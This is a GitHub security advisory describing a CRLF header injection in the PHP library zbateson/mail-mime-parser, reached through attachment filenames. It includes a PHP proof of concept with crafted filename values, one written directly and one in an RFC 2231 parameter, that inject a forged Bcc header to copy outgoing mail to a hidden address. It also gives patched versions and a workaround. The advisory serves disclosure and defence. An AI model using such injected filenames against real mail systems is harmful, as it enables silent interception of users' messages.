GHSA-36h5-qg4p-q2qf
zbateson/mail-mime-parser has CRLF header injection via attachment filename
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Packagist | zbateson/mail-mime-parser | < 3.0.6 | 3.0.6 |
| Packagist | zbateson/mail-mime-parser | >= 4.0.0, < 4.0.2 | 4.0.2 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Impact
A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.
Attachment filenames are interpolated into the `Content-Type` and `Content-Disposition` header values without stripping CR/LF, so a filename containing `\r\n` serializes as one or more additional, attacker-controlled header lines (for example a forged `Bcc:` that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.
### Details
On the outbound side, `MultipartHelper::createAndAddPartForAttachment()` sanitizes the filename only with `iconv('UTF-8','US-ASCII//translit//ignore', $filename)`. CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via `MimePart::setRawHeader()`. A filename of `doc\r\nBcc: [email protected]` therefore serializes as:
```
Content-Disposition: attachment;
filename="doc
Bcc: [email protected]"
```
The `filename` value closes after `doc`, and `Bcc: [email protected]` stands as its own header line.
The decode side is affected as well, which is what makes purely inbound exploitation possible:
- `ParameterPart::decodePartValue()` `rawurldecode()`s an RFC 2231 `filename*=` parameter with no control-character stripping, so
a crafted `filename*=utf-8''doc%0D%0ABcc:...` makes `getFilename()` return a string with embedded `\r\n`.
- The RFC 2047 path (`MimeToken`) strips `\r`/`\n` from the *encoded* word, but then base64/quoted-printable-decodes it, which
can reintroduce CR/LF into the decoded value.
As a result `getFilename()` can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.
### Proof of concept
```php
composer require zbateson/mail-mime-parser
<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;
$parser = new MailMimeParser();
function attachAndReport(string $filename): void {
$out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
$out->addAttachmentPart('payload', 'application/octet-stream', $filename);
echo (strpos($out->__toString(), "\r\nBcc: [email protected]") !== false)
? "INJECTED\n" : "clean\n";
}
attachAndReport('invoice.pdf'); // => clean
attachAndReport("doc\r\nBcc: [email protected]"); // => INJECTED
// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
. "--b\r\nContent-Type: application/octet-stream\r\n"
. "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%[email protected]\r\n\r\n"
. base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn); // => string(28) "doc\r\nBcc: [email protected]"
attachAndReport($fn); // => INJECTED
```
### Patches
Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.
Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.
### Workarounds
If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).
- Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/zbateson/mail-mime-parser/security/advisories/GHSA-36h5-qg4p-q2qf
- https://nvd.nist.gov/vuln/detail/CVE-2026-61815
- https://github.com/zbateson/mail-mime-parser/commit/81859c06abb5d79f04b7a3254d293d0a91065948
- https://github.com/zbateson/mail-mime-parser/commit/d2970b5df266f62e5ee8e675bfb05502b70fc6e1
- https://github.com/zbateson/mail-mime-parser
- https://github.com/zbateson/mail-mime-parser/releases/tag/3.0.7
- https://github.com/zbateson/mail-mime-parser/releases/tag/4.0.2